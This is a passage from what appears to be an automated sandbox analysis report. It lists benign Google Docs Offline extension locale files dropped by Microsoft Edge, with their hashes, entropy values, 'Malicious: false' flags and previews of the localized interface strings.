Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
